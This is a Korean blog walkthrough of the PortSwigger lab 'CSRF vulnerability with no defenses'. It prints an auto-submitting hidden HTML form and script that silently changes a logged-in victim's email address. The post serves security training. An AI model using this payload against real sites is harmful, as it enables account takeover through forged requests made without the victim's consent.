본문 바로가기
Portswigger/CSRF

Portswigger - CSRF vulnerability with no defensesAPPRENTICELAB solution

by jh117jh 2023. 10. 11.
728x90

이번 문제는 이메일 변경 기능에 CSRF 취약점이 존재하고 피해자에게 HTML을 노출시켜 이메일 변경 공격을 수행한다.

 

우선 기본으로 제공된 계정에 로그인하면 이메일 변경하는 공간이 나오는데 여기서 자유롭게 이메일을 변경할 수 있다.

 

임의의 이메일 값을 넣고 패킷을 탈취해 보면 POST형식으로 email값이 전송되는 걸 볼 수 있다.

이를 이용해 form태그를 작성해보면 

 

<form method="post" action="공격할 URL/my-account/change-email">
<input type="hidden" name="email" value="내가 변경하고 싶은 email">
</form>
<script>
document.forms[0].submit();
</script>

 

form태그 안에 내가 바꾸고 싶은 email값을 input태그로 작성하고 script태그로 전송하는 방식이다.

 

이러한 코드를 전송하면 피해자가 이 코드가 적힌 페이지에 접속하는 순간 form태그가 전송되면서 email이 변경되게 된다.

 

확인을 위해 직접 접속해 보면 

내가 입력한 email값으로 패킷이 전송되고

email 변경 페이지로 이동되며 변경된 걸 확인할 수 있다.

728x90